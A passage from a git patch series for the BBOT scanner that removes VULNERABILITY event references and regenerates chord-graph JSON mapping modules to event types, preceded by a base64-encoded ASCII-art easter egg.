_d("ICAgICAgICAgICAgICBfX18KICAqd29vZiogIF9fL18gIGAuICAuLSIiIi0uCiAgICAgICAgICBcXyxgIHwgXC0nICAvICAgKWAtJykKICAgICAgICAgICAiIikgImAiICAgIFwgICgoImAiCiAgICAgICAgICBfX19ZICAsICAgIC4nNyAvfAogICAgICAgICAoXyxfX18vLi4uLWAgKF8vXy8=").decode() + _m = _d("R3VzIGhhcyBibGVzc2VkIHlvdXIgc2Nhbi4=").decode() + log_to_stderr(f"\033[1;38;5;220m{_a}\033[0m\n \033[1;38;5;118m{_m}\033[0m", level="HUGESUCCESS", logname=False) + # make sure the preset has a description if not self.preset.description: self.preset.description = self.name From ce6462121e0cf3a3ec7e60b59821eee44fe3f3b2 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 2 Mar 2026 19:18:00 -0500 Subject: [PATCH 277/912] last vulnerability references --- bbot/core/event/base.py | 4 +- .../module_tests/test_module_web_report.py | 2 +- docs/data/chord_graph/entities.json | 1167 ++++++++--------- docs/data/chord_graph/rels.json | 1012 +++++++------- docs/modules/list_of_modules.md | 46 +- docs/modules/nuclei.md | 5 +- docs/scanning/advanced.md | 58 +- docs/scanning/configuration.md | 48 +- docs/scanning/events.md | 28 +- docs/scanning/index.md | 48 +- docs/scanning/output.md | 7 +- docs/scanning/presets_list.md | 81 +- 12 files changed, 1214 insertions(+), 1292 deletions(-) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 4789fe43f3..da37778544 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -111,7 +111,7 @@ class BaseEvent: _always_emit_tags = ["affiliate", "seed"] # Bypass scope checking and dns resolution, distribute immediately to modules - # This is useful for "end-of-line" events like FINDING and VULNERABILITY + # This is useful for "end-of-line" events like FINDING _quick_emit = False # Data validation, if data is a dictionary _data_validator = None @@ -1061,7 +1061,7 @@ def _host(self): class ClosestHostEvent(DictHostEvent): # if a host/path/url isn't specified, this event type grabs it from the closest parent - # inherited by FINDING and VULNERABILITY + # inherited by FINDING def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) if not self.host: diff --git a/bbot/test/test_step_2/module_tests/test_module_web_report.py b/bbot/test/test_step_2/module_tests/test_module_web_report.py index 92db464d7b..33c2861b0f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_web_report.py +++ b/bbot/test/test_step_2/module_tests/test_module_web_report.py @@ -9,7 +9,7 @@ class TestWebReport(ModuleTestBase): async def setup_before_prep(self, module_test): # trufflehog --> FINDING # dotnetnuke --> TECHNOLOGY - # badsecrets --> VULNERABILITY + # badsecrets --> FINDING respond_args = {"response_data": web_body} module_test.set_expect_requests(respond_args=respond_args) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index f00a513a22..ddd9c5b2a0 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -23,36 +23,36 @@ ] }, { - "id": 141, + "id": 140, "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [] }, { - "id": 46, + "id": 45, "name": "CODE_REPOSITORY", "parent": 88888888, "consumes": [ + 64, + 82, + 83, + 87, + 90, + 126, + 147 + ], + "produces": [ + 44, 65, + 81, 84, 85, + 88, 89, - 92, - 127, - 148 - ], - "produces": [ - 45, - 66, - 83, - 86, - 87, - 90, - 91, - 126 + 125 ] }, { @@ -62,141 +62,141 @@ "consumes": [ 6, 15, - 19, + 18, + 20, 21, - 22, - 26, + 25, + 27, 28, 29, - 30, + 31, 32, 33, 34, 35, - 36, + 37, 38, - 39, + 42, 43, - 44, - 47, + 46, + 51, 52, 53, 54, 55, - 56, + 57, 58, 59, 60, 61, - 62, - 64, - 70, - 81, + 63, + 69, + 79, + 84, 86, - 88, - 96, - 100, - 107, - 111, - 113, + 94, + 98, + 106, + 110, + 112, + 115, 116, - 117, + 120, 121, - 122, - 124, - 128, + 123, + 127, + 131, 132, 133, 134, 135, 136, - 137, - 140, + 139, + 142, 143, 144, - 145, - 147, - 151, + 146, + 150, + 153, 154, - 155, - 157 + 156 ], "produces": [ 6, - 21, - 28, + 20, + 27, + 34, 35, - 36, + 37, 38, 39, - 40, + 42, 43, - 44, + 51, 52, - 53, - 55, + 54, + 57, 58, 59, 60, 61, 62, - 63, - 81, - 96, - 100, - 107, - 111, - 114, + 79, + 94, + 98, + 106, + 110, + 113, + 115, 116, - 117, - 121, - 128, - 132, + 120, + 127, + 131, + 133, 134, 135, - 136, - 140, + 139, + 141, 142, 143, - 144, - 147, + 146, + 150, 151, - 152, + 153, 154, - 155, - 157 + 156 ] }, { - "id": 23, + "id": 22, "name": "DNS_NAME_UNRESOLVED", "parent": 88888888, "consumes": [ - 22, - 140, - 145 + 21, + 139, + 144 ], "produces": [] }, { - "id": 48, + "id": 47, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ - 71 + 70 ], "produces": [ - 47, - 54, - 60, - 64, - 70, - 88, - 100, - 122, - 133, - 137, - 142 + 46, + 53, + 59, + 63, + 69, + 86, + 98, + 121, + 132, + 136, + 141 ] }, { @@ -204,21 +204,21 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ - 75, - 106, - 148, - 149 + 104, + 105, + 147, + 148 ], "produces": [ 8, - 65, - 79, - 84, - 85, - 89, - 106, - 127, - 149 + 64, + 77, + 82, + 83, + 87, + 104, + 126, + 148 ] }, { @@ -227,61 +227,63 @@ "parent": 88888888, "consumes": [ 15, - 159 + 158 ], "produces": [ 1, - 22, - 24, + 14, + 21, + 23, + 25, 26, - 27, + 28, 29, - 30, + 31, 32, 33, - 34, - 37, - 83, - 91, + 36, + 68, + 80, + 81, + 89, + 93, 95, 97, - 99, + 107, 108, 109, - 112, + 111, + 113, 114, - 115, - 118, - 119, + 128, 129, - 130, - 135, - 138, - 140, - 146, - 148, - 150, - 160 + 134, + 137, + 139, + 145, + 147, + 149, + 159 ] }, { - "id": 103, + "id": 101, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 102, - 105 + 100, + 103 ] }, { - "id": 49, + "id": 48, "name": "HASHED_PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { @@ -291,25 +293,25 @@ "consumes": [ 1, 15, - 27, - 69, - 72, - 79, - 91, - 97, + 26, + 68, + 71, + 77, + 89, + 95, + 111, 112, 113, - 114, + 117, 118, 119, - 120, - 140, - 146, - 148, - 160 + 139, + 145, + 147, + 159 ], "produces": [ - 98 + 96 ] }, { @@ -319,30 +321,30 @@ "consumes": [ 11, 15, - 40, + 39, + 100, 102, - 104, - 105, - 113, - 124, - 135, - 140 + 103, + 112, + 123, + 134, + 139 ], "produces": [ 15, - 40, - 63, - 104, - 140 + 39, + 62, + 102, + 139 ] }, { - "id": 125, + "id": 124, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 124, - 140 + 123, + 139 ], "produces": [] }, @@ -354,7 +356,7 @@ 8 ], "produces": [ - 92 + 90 ] }, { @@ -363,151 +365,152 @@ "parent": 88888888, "consumes": [ 15, - 80, - 98, - 113, - 123, - 142 + 78, + 96, + 112, + 122, + 141 ], "produces": [ 15, - 40, - 124, - 135, - 140 + 39, + 123, + 134, + 139 ] }, { - "id": 41, + "id": 40, "name": "OPEN_UDP_PORT", "parent": 88888888, "consumes": [], "produces": [ - 40 + 39 ] }, { - "id": 67, + "id": 66, "name": "ORG_STUB", "parent": 88888888, "consumes": [ - 66, - 87, - 92, - 126 + 65, + 85, + 90, + 125 ], "produces": [ - 140 + 139 ] }, { - "id": 50, + "id": 49, "name": "PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 47, - 54 + 46, + 53 ] }, { - "id": 42, + "id": 41, "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 108, - 110, - 113 + 107, + 109, + 112 ], "produces": [ - 40, - 80 + 39, + 78 ] }, { - "id": 57, + "id": 56, "name": "RAW_DNS_RECORD", "parent": 88888888, "consumes": [], "produces": [ - 56, - 63, - 64 + 55, + 62, + 63 ] }, { - "id": 73, + "id": 72, "name": "RAW_TEXT", "parent": 88888888, "consumes": [ - 72, - 148 + 71, + 147 ], "produces": [ - 75 + 105 ] }, { - "id": 68, + "id": 67, "name": "SOCIAL", "parent": 88888888, "consumes": [ - 66, - 87, - 90, - 91, - 93, - 126, - 140 - ], - "produces": [ - 66, + 65, + 85, 88, + 89, 91, + 125, 139 + ], + "produces": [ + 65, + 86, + 89, + 138 ] }, { - "id": 25, + "id": 24, "name": "STORAGE_BUCKET", "parent": 88888888, "consumes": [ - 24, + 23, + 28, 29, 30, 31, 32, 33, - 34, - 140 + 139 ], "produces": [ + 28, 29, - 30, + 31, 32, - 33, - 34 + 33 ] }, { - "id": 17, + "id": 5, "name": "TECHNOLOGY", "parent": 88888888, "consumes": [ 15, - 91, - 159, - 160 + 89, + 158, + 159 ], "produces": [ - 27, - 40, - 69, + 1, + 26, + 39, + 68, + 89, 91, - 93, - 115, - 135, - 160 + 114, + 134, + 159 ] }, { @@ -518,167 +521,141 @@ 1, 14, 15, - 24, - 37, - 76, - 82, - 83, + 23, + 36, + 74, + 80, + 81, + 91, 93, - 95, - 98, - 101, - 109, - 114, - 115, - 123, - 131, - 138, - 140, - 146, - 150, - 152, - 156, - 159 + 96, + 99, + 108, + 113, + 114, + 122, + 130, + 137, + 139, + 145, + 149, + 151, + 155, + 158 ], "produces": [ - 93, - 98 + 91, + 96 ] }, { - "id": 78, + "id": 76, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 77 + 75 ], "produces": [ - 101 + 99 ] }, { - "id": 20, + "id": 19, "name": "URL_UNVERIFIED", "parent": 88888888, "consumes": [ - 45, - 79, - 98, - 116, - 123, - 130, - 139, - 140 + 44, + 77, + 96, + 115, + 122, + 129, + 138, + 139 ], "produces": [ - 19, - 28, - 31, - 40, - 56, - 60, - 64, - 66, - 72, - 76, - 77, - 86, - 93, - 100, - 131, - 133, - 151, - 157, - 160 + 18, + 27, + 30, + 39, + 55, + 59, + 63, + 65, + 71, + 74, + 75, + 84, + 91, + 98, + 130, + 132, + 150, + 156, + 159 ] }, { - "id": 51, + "id": 50, "name": "USERNAME", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [ - 47, - 54 + 46, + 53 ] }, { - "id": 153, + "id": 152, "name": "VHOST", "parent": 88888888, "consumes": [ - 159 - ], - "produces": [ - 152 - ] - }, - { - "id": 5, - "name": "VULNERABILITY", - "parent": 88888888, - "consumes": [ - 15, - 159 + 158 ], "produces": [ - 1, - 14, - 22, - 24, - 26, - 27, - 69, - 82, - 109, - 110, - 115, - 135, - 146, - 148, - 160 + 151 ] }, { - "id": 18, + "id": 17, "name": "WAF", "parent": 88888888, "consumes": [ 15 ], "produces": [ - 156 + 155 ] }, { - "id": 94, + "id": 92, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 93 + 91 ] }, { - "id": 74, + "id": 73, "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 99, - 109, + 97, + 108, + 117, 118, 119, - 120, - 129, - 158 + 128, + 157 ], "produces": [ - 72, + 71, + 117, 118, - 119, - 120 + 119 ] }, { @@ -735,7 +712,7 @@ 3 ], "produces": [ - 5 + 4 ] }, { @@ -748,10 +725,9 @@ 2, 12, 16, - 17, - 3, 5, - 18 + 3, + 17 ], "produces": [ 12, @@ -759,18 +735,18 @@ ] }, { - "id": 19, + "id": 18, "name": "azure_realm", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 20 + 19 ] }, { - "id": 21, + "id": 20, "name": "azure_tenant", "parent": 99999999, "consumes": [ @@ -781,45 +757,42 @@ ] }, { - "id": 22, + "id": 21, "name": "baddns", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 24, + "id": 23, "name": "baddns_direct", "parent": 99999999, "consumes": [ - 25, + 24, 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 26, + "id": 25, "name": "baddns_zone", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 27, + "id": 26, "name": "badsecrets", "parent": 99999999, "consumes": [ @@ -827,12 +800,11 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 28, + "id": 27, "name": "bevigil", "parent": 99999999, "consumes": [ @@ -840,87 +812,87 @@ ], "produces": [ 7, - 20 + 19 ] }, { - "id": 29, + "id": 28, "name": "bucket_amazon", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 30, + "id": 29, "name": "bucket_digitalocean", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 31, + "id": 30, "name": "bucket_file_enum", "parent": 99999999, "consumes": [ - 25 + 24 ], "produces": [ - 20 + 19 ] }, { - "id": 32, + "id": 31, "name": "bucket_firebase", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 33, + "id": 32, "name": "bucket_google", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 34, + "id": 33, "name": "bucket_microsoft", "parent": 99999999, "consumes": [ 7, - 25 + 24 ], "produces": [ 4, - 25 + 24 ] }, { - "id": 35, + "id": 34, "name": "bufferoverrun", "parent": 99999999, "consumes": [ @@ -931,7 +903,7 @@ ] }, { - "id": 36, + "id": 35, "name": "builtwith", "parent": 99999999, "consumes": [ @@ -942,7 +914,7 @@ ] }, { - "id": 37, + "id": 36, "name": "bypass403", "parent": 99999999, "consumes": [ @@ -953,7 +925,7 @@ ] }, { - "id": 38, + "id": 37, "name": "c99", "parent": 99999999, "consumes": [ @@ -964,7 +936,7 @@ ] }, { - "id": 39, + "id": 38, "name": "censys_dns", "parent": 99999999, "consumes": [ @@ -975,7 +947,7 @@ ] }, { - "id": 40, + "id": 39, "name": "censys_ip", "parent": 99999999, "consumes": [ @@ -985,14 +957,14 @@ 7, 12, 16, + 40, 41, - 42, - 17, - 20 + 5, + 19 ] }, { - "id": 43, + "id": 42, "name": "certspotter", "parent": 99999999, "consumes": [ @@ -1003,7 +975,7 @@ ] }, { - "id": 44, + "id": 43, "name": "chaos", "parent": 99999999, "consumes": [ @@ -1014,32 +986,32 @@ ] }, { - "id": 45, + "id": 44, "name": "code_repository", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ - 46 + 45 ] }, { - "id": 47, + "id": 46, "name": "credshed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 52, + "id": 51, "name": "crt", "parent": 99999999, "consumes": [ @@ -1050,7 +1022,7 @@ ] }, { - "id": 53, + "id": 52, "name": "crt_db", "parent": 99999999, "consumes": [ @@ -1061,21 +1033,21 @@ ] }, { - "id": 54, + "id": 53, "name": "dehashed", "parent": 99999999, "consumes": [ 7 ], "produces": [ + 47, 48, 49, - 50, - 51 + 50 ] }, { - "id": 55, + "id": 54, "name": "digitorus", "parent": 99999999, "consumes": [ @@ -1086,19 +1058,19 @@ ] }, { - "id": 56, + "id": 55, "name": "dnsbimi", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 57, - 20 + 56, + 19 ] }, { - "id": 58, + "id": 57, "name": "dnsbrute", "parent": 99999999, "consumes": [ @@ -1109,7 +1081,7 @@ ] }, { - "id": 59, + "id": 58, "name": "dnsbrute_mutations", "parent": 99999999, "consumes": [ @@ -1120,7 +1092,7 @@ ] }, { - "id": 60, + "id": 59, "name": "dnscaa", "parent": 99999999, "consumes": [ @@ -1128,12 +1100,12 @@ ], "produces": [ 7, - 48, - 20 + 47, + 19 ] }, { - "id": 61, + "id": 60, "name": "dnscommonsrv", "parent": 99999999, "consumes": [ @@ -1144,7 +1116,7 @@ ] }, { - "id": 62, + "id": 61, "name": "dnsdumpster", "parent": 99999999, "consumes": [ @@ -1155,157 +1127,146 @@ ] }, { - "id": 63, + "id": 62, "name": "dnsresolve", "parent": 99999999, "consumes": [], "produces": [ 7, 12, - 57 + 56 ] }, { - "id": 64, + "id": 63, "name": "dnstlsrpt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 57, - 20 + 47, + 56, + 19 ] }, { - "id": 65, + "id": 64, "name": "docker_pull", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 66, + "id": 65, "name": "dockerhub", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46, - 68, - 20 + 45, + 67, + 19 ] }, { - "id": 69, + "id": 68, "name": "dotnetnuke", "parent": 99999999, "consumes": [ 2 ], "produces": [ - 17, + 4, 5 ] }, { - "id": 70, + "id": 69, "name": "emailformat", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 71, + "id": 70, "name": "emails", "parent": 99999999, "consumes": [ - 48 + 47 ], "produces": [] }, { - "id": 72, + "id": 71, "name": "excavate", "parent": 99999999, "consumes": [ 2, - 73 - ], - "produces": [ - 20, - 74 - ] - }, - { - "id": 75, - "name": "kreuzberg", - "parent": 99999999, - "consumes": [ - 10 + 72 ], "produces": [ + 19, 73 ] }, { - "id": 76, + "id": 74, "name": "ffuf", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 20 + 19 ] }, { - "id": 77, + "id": 75, "name": "ffuf_shortnames", "parent": 99999999, "consumes": [ - 78 + 76 ], "produces": [ - 20 + 19 ] }, { - "id": 79, + "id": 77, "name": "filedownload", "parent": 99999999, "consumes": [ 2, - 20 + 19 ], "produces": [ 10 ] }, { - "id": 80, + "id": 78, "name": "fingerprintx", "parent": 99999999, "consumes": [ 16 ], "produces": [ - 42 + 41 ] }, { - "id": 81, + "id": 79, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1316,153 +1277,153 @@ ] }, { - "id": 82, + "id": 80, "name": "generic_ssrf", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 5 + 4 ] }, { - "id": 83, + "id": 81, "name": "git", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 46, + 45, 4 ] }, { - "id": 84, + "id": 82, "name": "git_clone", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 85, + "id": 83, "name": "gitdumper", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 86, + "id": 84, "name": "github_codesearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 46, - 20 + 45, + 19 ] }, { - "id": 87, + "id": 85, "name": "github_org", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 88, + "id": 86, "name": "github_usersearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 68 + 47, + 67 ] }, { - "id": 89, + "id": 87, "name": "github_workflows", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 90, + "id": 88, "name": "gitlab_com", "parent": 99999999, "consumes": [ - 68 + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 91, + "id": 89, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ 2, - 68, - 17 + 67, + 5 ], "produces": [ - 46, + 45, 4, - 68, - 17 + 67, + 5 ] }, { - "id": 92, + "id": 90, "name": "google_playstore", "parent": 99999999, "consumes": [ - 46, - 67 + 45, + 66 ], "produces": [ 9 ] }, { - "id": 93, + "id": 91, "name": "gowitness", "parent": 99999999, "consumes": [ - 68, + 67, 3 ], "produces": [ - 17, + 5, 3, - 20, - 94 + 19, + 92 ] }, { - "id": 95, + "id": 93, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1473,7 +1434,7 @@ ] }, { - "id": 96, + "id": 94, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1484,7 +1445,7 @@ ] }, { - "id": 97, + "id": 95, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1495,13 +1456,13 @@ ] }, { - "id": 98, + "id": 96, "name": "httpx", "parent": 99999999, "consumes": [ 16, 3, - 20 + 19 ], "produces": [ 2, @@ -1509,18 +1470,18 @@ ] }, { - "id": 99, + "id": 97, "name": "hunt", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 100, + "id": 98, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1528,34 +1489,34 @@ ], "produces": [ 7, - 48, - 20 + 47, + 19 ] }, { - "id": 101, + "id": 99, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 78 + 76 ] }, { - "id": 102, + "id": 100, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 101 ] }, { - "id": 104, + "id": 102, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1566,18 +1527,18 @@ ] }, { - "id": 105, + "id": 103, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 103 + 101 ] }, { - "id": 106, + "id": 104, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1588,7 +1549,18 @@ ] }, { - "id": 107, + "id": 105, + "name": "kreuzberg", + "parent": 99999999, + "consumes": [ + 10 + ], + "produces": [ + 72 + ] + }, + { + "id": 106, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1599,42 +1571,41 @@ ] }, { - "id": 108, + "id": 107, "name": "legba", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ 4 ] }, { - "id": 109, + "id": 108, "name": "lightfuzz", "parent": 99999999, "consumes": [ 3, - 74 + 73 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 110, + "id": 109, "name": "medusa", "parent": 99999999, "consumes": [ - 42 + 41 ], "produces": [ - 5 + 4 ] }, { - "id": 111, + "id": 110, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1645,7 +1616,7 @@ ] }, { - "id": 112, + "id": 111, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1656,7 +1627,7 @@ ] }, { - "id": 113, + "id": 112, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1664,12 +1635,12 @@ 2, 12, 16, - 42 + 41 ], "produces": [] }, { - "id": 114, + "id": 113, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1682,7 +1653,7 @@ ] }, { - "id": 115, + "id": 114, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1690,24 +1661,23 @@ ], "produces": [ 4, - 17, 5 ] }, { - "id": 116, + "id": 115, "name": "oauth", "parent": 99999999, "consumes": [ 7, - 20 + 19 ], "produces": [ 7 ] }, { - "id": 117, + "id": 116, "name": "otx", "parent": 99999999, "consumes": [ @@ -1718,45 +1688,43 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 119, + "id": 118, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 4, - 74 + 73 ] }, { - "id": 120, + "id": 119, "name": "paramminer_headers", "parent": 99999999, "consumes": [ 2, - 74 + 73 ], "produces": [ - 74 + 73 ] }, { - "id": 121, + "id": 120, "name": "passivetotal", "parent": 99999999, "consumes": [ @@ -1767,65 +1735,65 @@ ] }, { - "id": 122, + "id": 121, "name": "pgp", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 123, + "id": 122, "name": "portfilter", "parent": 99999999, "consumes": [ 16, 3, - 20 + 19 ], "produces": [] }, { - "id": 124, + "id": 123, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 125 + 124 ], "produces": [ 16 ] }, { - "id": 126, + "id": 125, "name": "postman", "parent": 99999999, "consumes": [ - 67, - 68 + 66, + 67 ], "produces": [ - 46 + 45 ] }, { - "id": 127, + "id": 126, "name": "postman_download", "parent": 99999999, "consumes": [ - 46 + 45 ], "produces": [ 10 ] }, { - "id": 128, + "id": 127, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1836,40 +1804,40 @@ ] }, { - "id": 129, + "id": 128, "name": "reflected_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [ 4 ] }, { - "id": 130, + "id": 129, "name": "retirejs", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ 4 ] }, { - "id": 131, + "id": 130, "name": "robots", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 20 + 19 ] }, { - "id": 132, + "id": 131, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1880,19 +1848,19 @@ ] }, { - "id": 133, + "id": 132, "name": "securitytxt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48, - 20 + 47, + 19 ] }, { - "id": 134, + "id": 133, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1903,7 +1871,7 @@ ] }, { - "id": 135, + "id": 134, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1914,12 +1882,11 @@ 7, 4, 16, - 17, 5 ] }, { - "id": 136, + "id": 135, "name": "sitedossier", "parent": 99999999, "consumes": [ @@ -1930,18 +1897,18 @@ ] }, { - "id": 137, + "id": 136, "name": "skymem", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 48 + 47 ] }, { - "id": 138, + "id": 137, "name": "smuggler", "parent": 99999999, "consumes": [ @@ -1952,43 +1919,43 @@ ] }, { - "id": 139, + "id": 138, "name": "social", "parent": 99999999, "consumes": [ - 20 + 19 ], "produces": [ - 68 + 67 ] }, { - "id": 140, + "id": 139, "name": "speculate", "parent": 99999999, "consumes": [ - 141, + 140, 7, - 23, + 22, 2, 12, - 125, - 68, - 25, + 124, + 67, + 24, 3, - 20, - 51 + 19, + 50 ], "produces": [ 7, 4, 12, 16, - 67 + 66 ] }, { - "id": 142, + "id": 141, "name": "sslcert", "parent": 99999999, "consumes": [ @@ -1996,11 +1963,11 @@ ], "produces": [ 7, - 48 + 47 ] }, { - "id": 143, + "id": 142, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -2011,7 +1978,7 @@ ] }, { - "id": 144, + "id": 143, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -2022,17 +1989,17 @@ ] }, { - "id": 145, + "id": 144, "name": "subdomains", "parent": 99999999, "consumes": [ 7, - 23 + 22 ], "produces": [] }, { - "id": 146, + "id": 145, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2040,12 +2007,11 @@ 3 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 147, + "id": 146, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2056,22 +2022,21 @@ ] }, { - "id": 148, + "id": 147, "name": "trufflehog", "parent": 99999999, "consumes": [ - 46, + 45, 10, 2, - 73 + 72 ], "produces": [ - 4, - 5 + 4 ] }, { - "id": 149, + "id": 148, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2082,7 +2047,7 @@ ] }, { - "id": 150, + "id": 149, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2093,7 +2058,7 @@ ] }, { - "id": 151, + "id": 150, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2101,11 +2066,11 @@ ], "produces": [ 7, - 20 + 19 ] }, { - "id": 152, + "id": 151, "name": "vhost", "parent": 99999999, "consumes": [ @@ -2113,11 +2078,11 @@ ], "produces": [ 7, - 153 + 152 ] }, { - "id": 154, + "id": 153, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2128,7 +2093,7 @@ ] }, { - "id": 155, + "id": 154, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2139,18 +2104,18 @@ ] }, { - "id": 156, + "id": 155, "name": "wafw00f", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 18 + 17 ] }, { - "id": 157, + "id": 156, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2158,44 +2123,42 @@ ], "produces": [ 7, - 20 + 19 ] }, { - "id": 158, + "id": 157, "name": "web_parameters", "parent": 99999999, "consumes": [ - 74 + 73 ], "produces": [] }, { - "id": 159, + "id": 158, "name": "web_report", "parent": 99999999, "consumes": [ 4, - 17, + 5, 3, - 153, - 5 + 152 ], "produces": [] }, { - "id": 160, + "id": 159, "name": "wpscan", "parent": 99999999, "consumes": [ 2, - 17 + 5 ], "produces": [ 4, - 17, - 20, - 5 + 5, + 19 ] } ] \ No newline at end of file diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 176e46f0a0..38677a36d3 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -55,7 +55,7 @@ "type": "consumes" }, { - "source": 5, + "source": 4, "target": 14, "type": "produces" }, @@ -86,7 +86,7 @@ }, { "source": 15, - "target": 17, + "target": 5, "type": "consumes" }, { @@ -96,12 +96,7 @@ }, { "source": 15, - "target": 5, - "type": "consumes" - }, - { - "source": 15, - "target": 18, + "target": 17, "type": "consumes" }, { @@ -115,68 +110,68 @@ "type": "produces" }, { - "source": 19, + "source": 18, "target": 7, "type": "consumes" }, { - "source": 20, - "target": 19, + "source": 19, + "target": 18, "type": "produces" }, { - "source": 21, + "source": 20, "target": 7, "type": "consumes" }, { "source": 7, - "target": 21, + "target": 20, "type": "produces" }, { - "source": 22, + "source": 21, "target": 7, "type": "consumes" }, { - "source": 22, - "target": 23, + "source": 21, + "target": 22, "type": "consumes" }, { "source": 4, - "target": 22, - "type": "produces" - }, - { - "source": 5, - "target": 22, + "target": 21, "type": "produces" }, { - "source": 24, - "target": 25, + "source": 23, + "target": 24, "type": "consumes" }, { - "source": 24, + "source": 23, "target": 3, "type": "consumes" }, { "source": 4, - "target": 24, + "target": 23, "type": "produces" }, { - "source": 5, - "target": 24, + "source": 25, + "target": 